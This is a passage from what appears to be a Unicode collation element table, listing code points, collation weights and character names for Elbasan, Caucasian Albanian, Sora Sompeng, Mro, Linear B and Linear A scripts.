; [.4556.0020.0002] # ELBASAN LETTER CHE -10504 ; [.4557.0020.0002] # ELBASAN LETTER DE -10505 ; [.4558.0020.0002] # ELBASAN LETTER NDE -10506 ; [.4559.0020.0002] # ELBASAN LETTER DHE -10507 ; [.455A.0020.0002] # ELBASAN LETTER EI -10508 ; [.455B.0020.0002] # ELBASAN LETTER E -10509 ; [.455C.0020.0002] # ELBASAN LETTER FE -1050A ; [.455D.0020.0002] # ELBASAN LETTER GE -1050B ; [.455E.0020.0002] # ELBASAN LETTER GJE -1050C ; [.455F.0020.0002] # ELBASAN LETTER HE -1050D ; [.4560.0020.0002] # ELBASAN LETTER I -1050E ; [.4561.0020.0002] # ELBASAN LETTER JE -1050F ; [.4562.0020.0002] # ELBASAN LETTER KE -10510 ; [.4563.0020.0002] # ELBASAN LETTER LE -10511 ; [.4564.0020.0002] # ELBASAN LETTER LLE -10512 ; [.4565.0020.0002] # ELBASAN LETTER ME -10513 ; [.4566.0020.0002] # ELBASAN LETTER NE -10514 ; [.4567.0020.0002] # ELBASAN LETTER NA -10515 ; [.4568.0020.0002] # ELBASAN LETTER NJE -10516 ; [.4569.0020.0002] # ELBASAN LETTER O -10517 ; [.456A.0020.0002] # ELBASAN LETTER PE -10518 ; [.456B.0020.0002] # ELBASAN LETTER QE -10519 ; [.456C.0020.0002] # ELBASAN LETTER RE -1051A ; [.456D.0020.0002] # ELBASAN LETTER RRE -1051B ; [.456E.0020.0002] # ELBASAN LETTER SE -1051C ; [.456F.0020.0002] # ELBASAN LETTER SHE -1051D ; [.4570.0020.0002] # ELBASAN LETTER TE -1051E ; [.4571.0020.0002] # ELBASAN LETTER THE -1051F ; [.4572.0020.0002] # ELBASAN LETTER U -10520 ; [.4573.0020.0002] # ELBASAN LETTER VE -10521 ; [.4574.0020.0002] # ELBASAN LETTER XE -10522 ; [.4575.0020.0002] # ELBASAN LETTER Y -10523 ; [.4576.0020.0002] # ELBASAN LETTER ZE -10524 ; [.4577.0020.0002] # ELBASAN LETTER ZHE -10525 ; [.4578.0020.0002] # ELBASAN LETTER GHE -10526 ; [.4579.0020.0002] # ELBASAN LETTER GHAMMA -10527 ; [.457A.0020.0002] # ELBASAN LETTER KHE -10530 ; [.457B.0020.0002] # CAUCASIAN ALBANIAN LETTER ALT -10531 ; [.457C.0020.0002] # CAUCASIAN ALBANIAN LETTER BET -10532 ; [.457D.0020.0002] # CAUCASIAN ALBANIAN LETTER GIM -10533 ; [.457E.0020.0002] # CAUCASIAN ALBANIAN LETTER DAT -10534 ; [.457F.0020.0002] # CAUCASIAN ALBANIAN LETTER EB -10535 ; [.4580.0020.0002] # CAUCASIAN ALBANIAN LETTER ZARL -10536 ; [.4581.0020.0002] # CAUCASIAN ALBANIAN LETTER EYN -10537 ; [.4582.0020.0002] # CAUCASIAN ALBANIAN LETTER ZHIL -10538 ; [.4583.0020.0002] # CAUCASIAN ALBANIAN LETTER TAS -10539 ; [.4584.0020.0002] # CAUCASIAN ALBANIAN LETTER CHA -1053A ; [.4585.0020.0002] # CAUCASIAN ALBANIAN LETTER YOWD -1053B ; [.4586.0020.0002] # CAUCASIAN ALBANIAN LETTER ZHA -1053C ; [.4587.0020.0002] # CAUCASIAN ALBANIAN LETTER IRB -1053D ; [.4588.0020.0002] # CAUCASIAN ALBANIAN LETTER SHA -1053E ; [.4589.0020.0002] # CAUCASIAN ALBANIAN LETTER LAN -1053F ; [.458A.0020.0002] # CAUCASIAN ALBANIAN LETTER INYA -10540 ; [.458B.0020.0002] # CAUCASIAN ALBANIAN LETTER XEYN -10541 ; [.458C.0020.0002] # CAUCASIAN ALBANIAN LETTER DYAN -10542 ; [.458D.0020.0002] # CAUCASIAN ALBANIAN LETTER CAR -10543 ; [.458E.0020.0002] # CAUCASIAN ALBANIAN LETTER JHOX -10544 ; [.458F.0020.0002] # CAUCASIAN ALBANIAN LETTER KAR -10545 ; [.4590.0020.0002] # CAUCASIAN ALBANIAN LETTER LYIT -10546 ; [.4591.0020.0002] # CAUCASIAN ALBANIAN LETTER HEYT -10547 ; [.4592.0020.0002] # CAUCASIAN ALBANIAN LETTER QAY -10548 ; [.4593.0020.0002] # CAUCASIAN ALBANIAN LETTER AOR -10549 ; [.4594.0020.0002] # CAUCASIAN ALBANIAN LETTER CHOY -1054A ; [.4595.0020.0002] # CAUCASIAN ALBANIAN LETTER CHI -1054B ; [.4596.0020.0002] # CAUCASIAN ALBANIAN LETTER CYAY -1054C ; [.4597.0020.0002] # CAUCASIAN ALBANIAN LETTER MAQ -1054D ; [.4598.0020.0002] # CAUCASIAN ALBANIAN LETTER QAR -1054E ; [.4599.0020.0002] # CAUCASIAN ALBANIAN LETTER NOWC -1054F ; [.459A.0020.0002] # CAUCASIAN ALBANIAN LETTER DZYAY -10550 ; [.459B.0020.0002] # CAUCASIAN ALBANIAN LETTER SHAK -10551 ; [.459C.0020.0002] # CAUCASIAN ALBANIAN LETTER JAYN -10552 ; [.459D.0020.0002] # CAUCASIAN ALBANIAN LETTER ON -10553 ; [.459E.0020.0002] # CAUCASIAN ALBANIAN LETTER TYAY -10554 ; [.459F.0020.0002] # CAUCASIAN ALBANIAN LETTER FAM -10555 ; [.45A0.0020.0002] # CAUCASIAN ALBANIAN LETTER DZAY -10556 ; [.45A1.0020.0002] # CAUCASIAN ALBANIAN LETTER CHAT -10557 ; [.45A2.0020.0002] # CAUCASIAN ALBANIAN LETTER PEN -10558 ; [.45A3.0020.0002] # CAUCASIAN ALBANIAN LETTER GHEYS -10559 ; [.45A4.0020.0002] # CAUCASIAN ALBANIAN LETTER RAT -1055A ; [.45A5.0020.0002] # CAUCASIAN ALBANIAN LETTER SEYK -1055B ; [.45A6.0020.0002] # CAUCASIAN ALBANIAN LETTER VEYZ -1055C ; [.45A7.0020.0002] # CAUCASIAN ALBANIAN LETTER TIWR -1055D ; [.45A8.0020.0002] # CAUCASIAN ALBANIAN LETTER SHOY -1055E ; [.45A9.0020.0002] # CAUCASIAN ALBANIAN LETTER IWN -1055F ; [.45AA.0020.0002] # CAUCASIAN ALBANIAN LETTER CYAW -10560 ; [.45AB.0020.0002] # CAUCASIAN ALBANIAN LETTER CAYN -10561 ; [.45AC.0020.0002] # CAUCASIAN ALBANIAN LETTER YAYD -10562 ; [.45AD.0020.0002] # CAUCASIAN ALBANIAN LETTER PIWR -10563 ; [.45AE.0020.0002] # CAUCASIAN ALBANIAN LETTER KIW -110D0 ; [.45AF.0020.0002] # SORA SOMPENG LETTER SAH -110D1 ; [.45B0.0020.0002] # SORA SOMPENG LETTER TAH -110D2 ; [.45B1.0020.0002] # SORA SOMPENG LETTER BAH -110D3 ; [.45B2.0020.0002] # SORA SOMPENG LETTER CAH -110D4 ; [.45B3.0020.0002] # SORA SOMPENG LETTER DAH -110D5 ; [.45B4.0020.0002] # SORA SOMPENG LETTER GAH -110D6 ; [.45B5.0020.0002] # SORA SOMPENG LETTER MAH -110D7 ; [.45B6.0020.0002] # SORA SOMPENG LETTER NGAH -110D8 ; [.45B7.0020.0002] # SORA SOMPENG LETTER LAH -110D9 ; [.45B8.0020.0002] # SORA SOMPENG LETTER NAH -110DA ; [.45B9.0020.0002] # SORA SOMPENG LETTER VAH -110DB ; [.45BA.0020.0002] # SORA SOMPENG LETTER PAH -110DC ; [.45BB.0020.0002] # SORA SOMPENG LETTER YAH -110DD ; [.45BC.0020.0002] # SORA SOMPENG LETTER RAH -110DE ; [.45BD.0020.0002] # SORA SOMPENG LETTER HAH -110DF ; [.45BE.0020.0002] # SORA SOMPENG LETTER KAH -110E0 ; [.45BF.0020.0002] # SORA SOMPENG LETTER JAH -110E1 ; [.45C0.0020.0002] # SORA SOMPENG LETTER NYAH -110E2 ; [.45C1.0020.0002] # SORA SOMPENG LETTER AH -110E3 ; [.45C2.0020.0002] # SORA SOMPENG LETTER EEH -110E4 ; [.45C3.0020.0002] # SORA SOMPENG LETTER IH -110E5 ; [.45C4.0020.0002] # SORA SOMPENG LETTER UH -110E6 ; [.45C5.0020.0002] # SORA SOMPENG LETTER OH -110E7 ; [.45C6.0020.0002] # SORA SOMPENG LETTER EH -110E8 ; [.45C7.0020.0002] # SORA SOMPENG LETTER MAE -16A40 ; [.45C8.0020.0002] # MRO LETTER TA -16A41 ; [.45C9.0020.0002] # MRO LETTER NGI -16A42 ; [.45CA.0020.0002] # MRO LETTER YO -16A43 ; [.45CB.0020.0002] # MRO LETTER MIM -16A44 ; [.45CC.0020.0002] # MRO LETTER BA -16A45 ; [.45CD.0020.0002] # MRO LETTER DA -16A46 ; [.45CE.0020.0002] # MRO LETTER A -16A47 ; [.45CF.0020.0002] # MRO LETTER PHI -16A48 ; [.45D0.0020.0002] # MRO LETTER KHAI -16A49 ; [.45D1.0020.0002] # MRO LETTER HAO -16A4A ; [.45D2.0020.0002] # MRO LETTER DAI -16A4B ; [.45D3.0020.0002] # MRO LETTER CHU -16A4C ; [.45D4.0020.0002] # MRO LETTER KEAAE -16A4D ; [.45D5.0020.0002] # MRO LETTER OL -16A4E ; [.45D6.0020.0002] # MRO LETTER MAEM -16A4F ; [.45D7.0020.0002] # MRO LETTER NIN -16A50 ; [.45D8.0020.0002] # MRO LETTER PA -16A51 ; [.45D9.0020.0002] # MRO LETTER OO -16A52 ; [.45DA.0020.0002] # MRO LETTER O -16A53 ; [.45DB.0020.0002] # MRO LETTER RO -16A54 ; [.45DC.0020.0002] # MRO LETTER SHI -16A55 ; [.45DD.0020.0002] # MRO LETTER THEA -16A56 ; [.45DE.0020.0002] # MRO LETTER EA -16A57 ; [.45DF.0020.0002] # MRO LETTER WA -16A58 ; [.45E0.0020.0002] # MRO LETTER E -16A59 ; [.45E1.0020.0002] # MRO LETTER KO -16A5A ; [.45E2.0020.0002] # MRO LETTER LAN -16A5B ; [.45E3.0020.0002] # MRO LETTER LA -16A5C ; [.45E4.0020.0002] # MRO LETTER HAI -16A5D ; [.45E5.0020.0002] # MRO LETTER RI -16A5E ; [.45E6.0020.0002] # MRO LETTER TEK -10000 ; [.45E7.0020.0002] # LINEAR B SYLLABLE B008 A -10001 ; [.45E8.0020.0002] # LINEAR B SYLLABLE B038 E -10002 ; [.45E9.0020.0002] # LINEAR B SYLLABLE B028 I -10003 ; [.45EA.0020.0002] # LINEAR B SYLLABLE B061 O -10004 ; [.45EB.0020.0002] # LINEAR B SYLLABLE B010 U -10005 ; [.45EC.0020.0002] # LINEAR B SYLLABLE B001 DA -10006 ; [.45ED.0020.0002] # LINEAR B SYLLABLE B045 DE -10007 ; [.45EE.0020.0002] # LINEAR B SYLLABLE B007 DI -10008 ; [.45EF.0020.0002] # LINEAR B SYLLABLE B014 DO -10009 ; [.45F0.0020.0002] # LINEAR B SYLLABLE B051 DU -1000A ; [.45F1.0020.0002] # LINEAR B SYLLABLE B057 JA -1000B ; [.45F2.0020.0002] # LINEAR B SYLLABLE B046 JE -1000D ; [.45F3.0020.0002] # LINEAR B SYLLABLE B036 JO -1000E ; [.45F4.0020.0002] # LINEAR B SYLLABLE B065 JU -1000F ; [.45F5.0020.0002] # LINEAR B SYLLABLE B077 KA -10010 ; [.45F6.0020.0002] # LINEAR B SYLLABLE B044 KE -10011 ; [.45F7.0020.0002] # LINEAR B SYLLABLE B067 KI -10012 ; [.45F8.0020.0002] # LINEAR B SYLLABLE B070 KO -10013 ; [.45F9.0020.0002] # LINEAR B SYLLABLE B081 KU -10014 ; [.45FA.0020.0002] # LINEAR B SYLLABLE B080 MA -10015 ; [.45FB.0020.0002] # LINEAR B SYLLABLE B013 ME -10016 ; [.45FC.0020.0002] # LINEAR B SYLLABLE B073 MI -10017 ; [.45FD.0020.0002] # LINEAR B SYLLABLE B015 MO -10018 ; [.45FE.0020.0002] # LINEAR B SYLLABLE B023 MU -10019 ; [.45FF.0020.0002] # LINEAR B SYLLABLE B006 NA -1001A ; [.4600.0020.0002] # LINEAR B SYLLABLE B024 NE -1001B ; [.4601.0020.0002] # LINEAR B SYLLABLE B030 NI -1001C ; [.4602.0020.0002] # LINEAR B SYLLABLE B052 NO -1001D ; [.4603.0020.0002] # LINEAR B SYLLABLE B055 NU -1001E ; [.4604.0020.0002] # LINEAR B SYLLABLE B003 PA -1001F ; [.4605.0020.0002] # LINEAR B SYLLABLE B072 PE -10020 ; [.4606.0020.0002] # LINEAR B SYLLABLE B039 PI -10021 ; [.4607.0020.0002] # LINEAR B SYLLABLE B011 PO -10022 ; [.4608.0020.0002] # LINEAR B SYLLABLE B050 PU -10023 ; [.4609.0020.0002] # LINEAR B SYLLABLE B016 QA -10024 ; [.460A.0020.0002] # LINEAR B SYLLABLE B078 QE -10025 ; [.460B.0020.0002] # LINEAR B SYLLABLE B021 QI -10026 ; [.460C.0020.0002] # LINEAR B SYLLABLE B032 QO -10028 ; [.460D.0020.0002] # LINEAR B SYLLABLE B060 RA -10029 ; [.460E.0020.0002] # LINEAR B SYLLABLE B027 RE -1002A ; [.460F.0020.0002] # LINEAR B SYLLABLE B053 RI -1002B ; [.4610.0020.0002] # LINEAR B SYLLABLE B002 RO -1002C ; [.4611.0020.0002] # LINEAR B SYLLABLE B026 RU -1002D ; [.4612.0020.0002] # LINEAR B SYLLABLE B031 SA -1002E ; [.4613.0020.0002] # LINEAR B SYLLABLE B009 SE -1002F ; [.4614.0020.0002] # LINEAR B SYLLABLE B041 SI -10030 ; [.4615.0020.0002] # LINEAR B SYLLABLE B012 SO -10031 ; [.4616.0020.0002] # LINEAR B SYLLABLE B058 SU -10032 ; [.4617.0020.0002] # LINEAR B SYLLABLE B059 TA -10033 ; [.4618.0020.0002] # LINEAR B SYLLABLE B004 TE -10034 ; [.4619.0020.0002] # LINEAR B SYLLABLE B037 TI -10035 ; [.461A.0020.0002] # LINEAR B SYLLABLE B005 TO -10036 ; [.461B.0020.0002] # LINEAR B SYLLABLE B069 TU -10037 ; [.461C.0020.0002] # LINEAR B SYLLABLE B054 WA -10038 ; [.461D.0020.0002] # LINEAR B SYLLABLE B075 WE -10039 ; [.461E.0020.0002] # LINEAR B SYLLABLE B040 WI -1003A ; [.461F.0020.0002] # LINEAR B SYLLABLE B042 WO -1003C ; [.4620.0020.0002] # LINEAR B SYLLABLE B017 ZA -1003D ; [.4621.0020.0002] # LINEAR B SYLLABLE B074 ZE -1003F ; [.4622.0020.0002] # LINEAR B SYLLABLE B020 ZO -10040 ; [.4623.0020.0002] # LINEAR B SYLLABLE B025 A2 -10041 ; [.4624.0020.0002] # LINEAR B SYLLABLE B043 A3 -10042 ; [.4625.0020.0002] # LINEAR B SYLLABLE B085 AU -10043 ; [.4626.0020.0002] # LINEAR B SYLLABLE B071 DWE -10044 ; [.4627.0020.0002] # LINEAR B SYLLABLE B090 DWO -10045 ; [.4628.0020.0002] # LINEAR B SYLLABLE B048 NWA -10046 ; [.4629.0020.0002] # LINEAR B SYLLABLE B029 PU2 -10047 ; [.462A.0020.0002] # LINEAR B SYLLABLE B062 PTE -10048 ; [.462B.0020.0002] # LINEAR B SYLLABLE B076 RA2 -10049 ; [.462C.0020.0002] # LINEAR B SYLLABLE B033 RA3 -1004A ; [.462D.0020.0002] # LINEAR B SYLLABLE B068 RO2 -1004B ; [.462E.0020.0002] # LINEAR B SYLLABLE B066 TA2 -1004C ; [.462F.0020.0002] # LINEAR B SYLLABLE B087 TWE -1004D ; [.4630.0020.0002] # LINEAR B SYLLABLE B091 TWO -10050 ; [.4631.0020.0002] # LINEAR B SYMBOL B018 -10051 ; [.4632.0020.0002] # LINEAR B SYMBOL B019 -10052 ; [.4633.0020.0002] # LINEAR B SYMBOL B022 -10053 ; [.4634.0020.0002] # LINEAR B SYMBOL B034 -10054 ; [.4635.0020.0002] # LINEAR B SYMBOL B047 -10055 ; [.4636.0020.0002] # LINEAR B SYMBOL B049 -10056 ; [.4637.0020.0002] # LINEAR B SYMBOL B056 -10057 ; [.4638.0020.0002] # LINEAR B SYMBOL B063 -10058 ; [.4639.0020.0002] # LINEAR B SYMBOL B064 -10059 ; [.463A.0020.0002] # LINEAR B SYMBOL B079 -1005A ; [.463B.0020.0002] # LINEAR B SYMBOL B082 -1005B ; [.463C.0020.0002] # LINEAR B SYMBOL B083 -1005C ; [.463D.0020.0002] # LINEAR B SYMBOL B086 -1005D ; [.463E.0020.0002] # LINEAR B SYMBOL B089 -10080 ; [.463F.0020.0002] # LINEAR B IDEOGRAM B100 MAN -10081 ; [.4640.0020.0002] # LINEAR B IDEOGRAM B102 WOMAN -10082 ; [.4641.0020.0002] # LINEAR B IDEOGRAM B104 DEER -10083 ; [.4642.0020.0002] # LINEAR B IDEOGRAM B105 EQUID -10084 ; [.4643.0020.0002] # LINEAR B IDEOGRAM B105F MARE -10085 ; [.4644.0020.0002] # LINEAR B IDEOGRAM B105M STALLION -10086 ; [.4645.0020.0002] # LINEAR B IDEOGRAM B106F EWE -10087 ; [.4646.0020.0002] # LINEAR B IDEOGRAM B106M RAM -10088 ; [.4647.0020.0002] # LINEAR B IDEOGRAM B107F SHE-GOAT -10089 ; [.4648.0020.0002] # LINEAR B IDEOGRAM B107M HE-GOAT -1008A ; [.4649.0020.0002] # LINEAR B IDEOGRAM B108F SOW -1008B ; [.464A.0020.0002] # LINEAR B IDEOGRAM B108M BOAR -1008C ; [.464B.0020.0002] # LINEAR B IDEOGRAM B109F COW -1008D ; [.464C.0020.0002] # LINEAR B IDEOGRAM B109M BULL -1008E ; [.464D.0020.0002] # LINEAR B IDEOGRAM B120 WHEAT -1008F ; [.464E.0020.0002] # LINEAR B IDEOGRAM B121 BARLEY -10090 ; [.464F.0020.0002] # LINEAR B IDEOGRAM B122 OLIVE -10091 ; [.4650.0020.0002] # LINEAR B IDEOGRAM B123 SPICE -10092 ; [.4651.0020.0002] # LINEAR B IDEOGRAM B125 CYPERUS -10093 ; [.4652.0020.0002] # LINEAR B MONOGRAM B127 KAPO -10094 ; [.4653.0020.0002] # LINEAR B MONOGRAM B128 KANAKO -10095 ; [.4654.0020.0002] # LINEAR B IDEOGRAM B130 OIL -10096 ; [.4655.0020.0002] # LINEAR B IDEOGRAM B131 WINE -10097 ; [.4656.0020.0002] # LINEAR B IDEOGRAM B132 -10098 ; [.4657.0020.0002] # LINEAR B MONOGRAM B133 AREPA -10099 ; [.4658.0020.0002] # LINEAR B MONOGRAM B135 MERI -1009A ; [.4659.0020.0002] # LINEAR B IDEOGRAM B140 BRONZE -1009B ; [.465A.0020.0002] # LINEAR B IDEOGRAM B141 GOLD -1009C ; [.465B.0020.0002] # LINEAR B IDEOGRAM B142 -1009D ; [.465C.0020.0002] # LINEAR B IDEOGRAM B145 WOOL -1009E ; [.465D.0020.0002] # LINEAR B IDEOGRAM B146 -1009F ; [.465E.0020.0002] # LINEAR B IDEOGRAM B150 -100A0 ; [.465F.0020.0002] # LINEAR B IDEOGRAM B151 HORN -100A1 ; [.4660.0020.0002] # LINEAR B IDEOGRAM B152 -100A2 ; [.4661.0020.0002] # LINEAR B IDEOGRAM B153 -100A3 ; [.4662.0020.0002] # LINEAR B IDEOGRAM B154 -100A4 ; [.4663.0020.0002] # LINEAR B MONOGRAM B156 TURO2 -100A5 ; [.4664.0020.0002] # LINEAR B IDEOGRAM B157 -100A6 ; [.4665.0020.0002] # LINEAR B IDEOGRAM B158 -100A7 ; [.4666.0020.0002] # LINEAR B IDEOGRAM B159 CLOTH -100A8 ; [.4667.0020.0002] # LINEAR B IDEOGRAM B160 -100A9 ; [.4668.0020.0002] # LINEAR B IDEOGRAM B161 -100AA ; [.4669.0020.0002] # LINEAR B IDEOGRAM B162 GARMENT -100AB ; [.466A.0020.0002] # LINEAR B IDEOGRAM B163 ARMOUR -100AC ; [.466B.0020.0002] # LINEAR B IDEOGRAM B164 -100AD ; [.466C.0020.0002] # LINEAR B IDEOGRAM B165 -100AE ; [.466D.0020.0002] # LINEAR B IDEOGRAM B166 -100AF ; [.466E.0020.0002] # LINEAR B IDEOGRAM B167 -100B0 ; [.466F.0020.0002] # LINEAR B IDEOGRAM B168 -100B1 ; [.4670.0020.0002] # LINEAR B IDEOGRAM B169 -100B2 ; [.4671.0020.0002] # LINEAR B IDEOGRAM B170 -100B3 ; [.4672.0020.0002] # LINEAR B IDEOGRAM B171 -100B4 ; [.4673.0020.0002] # LINEAR B IDEOGRAM B172 -100B5 ; [.4674.0020.0002] # LINEAR B IDEOGRAM B173 MONTH -100B6 ; [.4675.0020.0002] # LINEAR B IDEOGRAM B174 -100B7 ; [.4676.0020.0002] # LINEAR B IDEOGRAM B176 TREE -100B8 ; [.4677.0020.0002] # LINEAR B IDEOGRAM B177 -100B9 ; [.4678.0020.0002] # LINEAR B IDEOGRAM B178 -100BA ; [.4679.0020.0002] # LINEAR B IDEOGRAM B179 -100BB ; [.467A.0020.0002] # LINEAR B IDEOGRAM B180 -100BC ; [.467B.0020.0002] # LINEAR B IDEOGRAM B181 -100BD ; [.467C.0020.0002] # LINEAR B IDEOGRAM B182 -100BE ; [.467D.0020.0002] # LINEAR B IDEOGRAM B183 -100BF ; [.467E.0020.0002] # LINEAR B IDEOGRAM B184 -100C0 ; [.467F.0020.0002] # LINEAR B IDEOGRAM B185 -100C1 ; [.4680.0020.0002] # LINEAR B IDEOGRAM B189 -100C2 ; [.4681.0020.0002] # LINEAR B IDEOGRAM B190 -100C3 ; [.4682.0020.0002] # LINEAR B IDEOGRAM B191 HELMET -100C4 ; [.4683.0020.0002] # LINEAR B IDEOGRAM B220 FOOTSTOOL -100C5 ; [.4684.0020.0002] # LINEAR B IDEOGRAM B225 BATHTUB -100C6 ; [.4685.0020.0002] # LINEAR B IDEOGRAM B230 SPEAR -100C7 ; [.4686.0020.0002] # LINEAR B IDEOGRAM B231 ARROW -100C8 ; [.4687.0020.0002] # LINEAR B IDEOGRAM B232 -100C9 ; [.4688.0020.0002] # LINEAR B IDEOGRAM B233 SWORD -100CA ; [.4689.0020.0002] # LINEAR B IDEOGRAM B234 -100CB ; [.468A.0020.0002] # LINEAR B IDEOGRAM B236 -100CC ; [.468B.0020.0002] # LINEAR B IDEOGRAM B240 WHEELED CHARIOT -100CD ; [.468C.0020.0002] # LINEAR B IDEOGRAM B241 CHARIOT -100CE ; [.468D.0020.0002] # LINEAR B IDEOGRAM B242 CHARIOT FRAME -100CF ; [.468E.0020.0002] # LINEAR B IDEOGRAM B243 WHEEL -100D0 ; [.468F.0020.0002] # LINEAR B IDEOGRAM B245 -100D1 ; [.4690.0020.0002] # LINEAR B IDEOGRAM B246 -100D2 ; [.4691.0020.0002] # LINEAR B MONOGRAM B247 DIPTE -100D3 ; [.4692.0020.0002] # LINEAR B IDEOGRAM B248 -100D4 ; [.4693.0020.0002] # LINEAR B IDEOGRAM B249 -100D5 ; [.4694.0020.0002] # LINEAR B IDEOGRAM B251 -100D6 ; [.4695.0020.0002] # LINEAR B IDEOGRAM B252 -100D7 ; [.4696.0020.0002] # LINEAR B IDEOGRAM B253 -100D8 ; [.4697.0020.0002] # LINEAR B IDEOGRAM B254 DART -100D9 ; [.4698.0020.0002] # LINEAR B IDEOGRAM B255 -100DA ; [.4699.0020.0002] # LINEAR B IDEOGRAM B256 -100DB ; [.469A.0020.0002] # LINEAR B IDEOGRAM B257 -100DC ; [.469B.0020.0002] # LINEAR B IDEOGRAM B258 -100DD ; [.469C.0020.0002] # LINEAR B IDEOGRAM B259 -100DE ; [.469D.0020.0002] # LINEAR B IDEOGRAM VESSEL B155 -100DF ; [.469E.0020.0002] # LINEAR B IDEOGRAM VESSEL B200 -100E0 ; [.469F.0020.0002] # LINEAR B IDEOGRAM VESSEL B201 -100E1 ; [.46A0.0020.0002] # LINEAR B IDEOGRAM VESSEL B202 -100E2 ; [.46A1.0020.0002] # LINEAR B IDEOGRAM VESSEL B203 -100E3 ; [.46A2.0020.0002] # LINEAR B IDEOGRAM VESSEL B204 -100E4 ; [.46A3.0020.0002] # LINEAR B IDEOGRAM VESSEL B205 -100E5 ; [.46A4.0020.0002] # LINEAR B IDEOGRAM VESSEL B206 -100E6 ; [.46A5.0020.0002] # LINEAR B IDEOGRAM VESSEL B207 -100E7 ; [.46A6.0020.0002] # LINEAR B IDEOGRAM VESSEL B208 -100E8 ; [.46A7.0020.0002] # LINEAR B IDEOGRAM VESSEL B209 -100E9 ; [.46A8.0020.0002] # LINEAR B IDEOGRAM VESSEL B210 -100EA ; [.46A9.0020.0002] # LINEAR B IDEOGRAM VESSEL B211 -100EB ; [.46AA.0020.0002] # LINEAR B IDEOGRAM VESSEL B212 -100EC ; [.46AB.0020.0002] # LINEAR B IDEOGRAM VESSEL B213 -100ED ; [.46AC.0020.0002] # LINEAR B IDEOGRAM VESSEL B214 -100EE ; [.46AD.0020.0002] # LINEAR B IDEOGRAM VESSEL B215 -100EF ; [.46AE.0020.0002] # LINEAR B IDEOGRAM VESSEL B216 -100F0 ; [.46AF.0020.0002] # LINEAR B IDEOGRAM VESSEL B217 -100F1 ; [.46B0.0020.0002] # LINEAR B IDEOGRAM VESSEL B218 -100F2 ; [.46B1.0020.0002] # LINEAR B IDEOGRAM VESSEL B219 -100F3 ; [.46B2.0020.0002] # LINEAR B IDEOGRAM VESSEL B221 -100F4 ; [.46B3.0020.0002] # LINEAR B IDEOGRAM VESSEL B222 -100F5 ; [.46B4.0020.0002] # LINEAR B IDEOGRAM VESSEL B226 -100F6 ; [.46B5.0020.0002] # LINEAR B IDEOGRAM VESSEL B227 -100F7 ; [.46B6.0020.0002] # LINEAR B IDEOGRAM VESSEL B228 -100F8 ; [.46B7.0020.0002] # LINEAR B IDEOGRAM VESSEL B229 -100F9 ; [.46B8.0020.0002] # LINEAR B IDEOGRAM VESSEL B250 -100FA ; [.46B9.0020.0002] # LINEAR B IDEOGRAM VESSEL B305 -10600 ; [.46BA.0020.0002] # LINEAR A SIGN AB001 -10601 ; [.46BB.0020.0002] # LINEAR A SIGN AB002 -10602 ; [.46BC.0020.0002] # LINEAR A SIGN AB003 -10603 ; [.46BD.0020.0002] # LINEAR A SIGN AB004 -10604 ; [.46BE.0020.0002] # LINEAR A SIGN AB005 -10605 ; [.46BF.0020.0002] # LINEAR A SIGN AB006 -10606 ; [.46C0.0020.0002] # LINEAR A SIGN AB007 -10607 ; [.46C1.0020.0002] # LINEAR A SIGN AB008 -10608 ; [.46C2.0020.0002] # LINEAR A SIGN AB009 -10609 ; [.46C3.0020.0002] # LINEAR A SIGN AB010 -1060A ; [.46C4.0020.0002] # LINEAR A SIGN AB011 -1060B ; [.46C5.0020.0002] # LINEAR A SIGN AB013 -1060C ; [.46C6.0020.0002] # LINEAR A SIGN AB016 -1060D ; [.46C7.0020.0002] # LINEAR A SIGN AB017 -1060E ; [.46C8.0020.0002] # LINEAR A SIGN AB020 -1060F ; [.46C9.0020.0002] # LINEAR A SIGN AB021 -10610 ; [.46CA.0020.0002] # LINEAR A SIGN AB021F -10611 ; [.46CB.0020.0002] # LINEAR A SIGN AB021M -10612 ; [.46CC.0020.0002] # LINEAR A SIGN AB022 -10613 ; [.46CD.0020.0002] # LINEAR A SIGN AB022F -10614 ; [.46CE.0020.0002] # LINEAR A SIGN AB022M -10615 ; [.46CF.0020.0002] # LINEAR A SIGN AB023 -10616 ; [.46D0.0020.0002] # LINEAR A SIGN AB023M -10617 ; [.46D1.0020.0002] # LINEAR A SIGN AB024 -10618 ; [.46D2.0020.0002] # LINEAR A SIGN AB026 -10619 ; [.46D3.0020.0002] # LINEAR A SIGN AB027 -1061A ; [.46D4.0020.0002] # LINEAR A SIGN AB028 -1061B ; [.46D5.0020.0002] # LINEAR A SIGN A028B -1061C ; [.46D6.0020.0002] # LINEAR A SIGN AB029 -1061D ; [.46D7.0020.0002] # LINEAR A SIGN AB030 -1061E ; [.46D8.0020.0002] # LINEAR A SIGN AB031 -1061F ; [.46D9.0020.0002] # LINEAR A SIGN AB034 -10620 ; [.46DA.0020.0002] # LINEAR A SIGN AB037 -10621 ; [.46DB.0020.0002] # LINEAR A SIGN AB038 -10622 ; [.46DC.0020.0002] # LINEAR A SIGN AB039 -10623 ; [.46DD.0020.0002] # LINEAR A SIGN AB040 -10624 ; [.46DE.0020.0002] # LINEAR A SIGN AB041 -10625 ; [.46DF.0020.0002] # LINEAR A SIGN AB044 -10626 ; [.46E0.0020.0002] # LINEAR A SIGN AB045 -10627 ; [.46E1.0020.0002] # LINEAR A SIGN AB046 -10628 ; [.46E2.0020.0002] # LINEAR A SIGN AB047 -10629 ; [.46E3.0020.0002] # LINEAR A SIGN AB048 -1062A ; [.46E4.0020.0002] # LINEAR A SIGN AB049 -1062B ; [.46E5.0020.0002] # LINEAR A SIGN AB050 -1062C ; [.46E6.0020.0002] # LINEAR A SIGN AB051 -1062D ; [.46E7.0020.0002] # LINEAR A SIGN AB053 -1062E ; [.46E8.0020.0002] # LINEAR A SIGN AB054 -1062F ; [.46E9.0020.0002] # LINEAR A SIGN AB055 -10630 ; [.46EA.0020.0002] # LINEAR A SIGN AB056 -10631 ; [.46EB.0020.0002] # LINEAR A SIGN AB057 -10632 ; [.46EC.0020.0002] # LINEAR A SIGN AB058 -10633 ; [.46ED.0020.0002] # LINEAR A SIGN AB059 -10634 ; [.46EE.0020.0002] # LINEAR A SIGN AB060 -10635 ; [.46EF.0020.0002] # LINEAR A SIGN AB061 -10636 ; [.46F0.0020.0002] # LINEAR A SIGN AB065 -10637 ; [.46F1.0020.0002] # LINEAR A SIGN AB066 -10638 ; [.46F2.0020.0002] # LINEAR A SIGN AB067 -10639 ; [.46F3.0020.0002] # LINEAR A SIGN AB069 -1063A ; [.46F4.0020.0002] # LINEAR A SIGN AB070 -1063B ; [.46F5.0020.0002] # LINEAR A SIGN AB073 -1063C ; [.46F6.0020.0002] # LINEAR A SIGN AB074 -1063D ; [.46F7.0020.0002] # LINEAR A 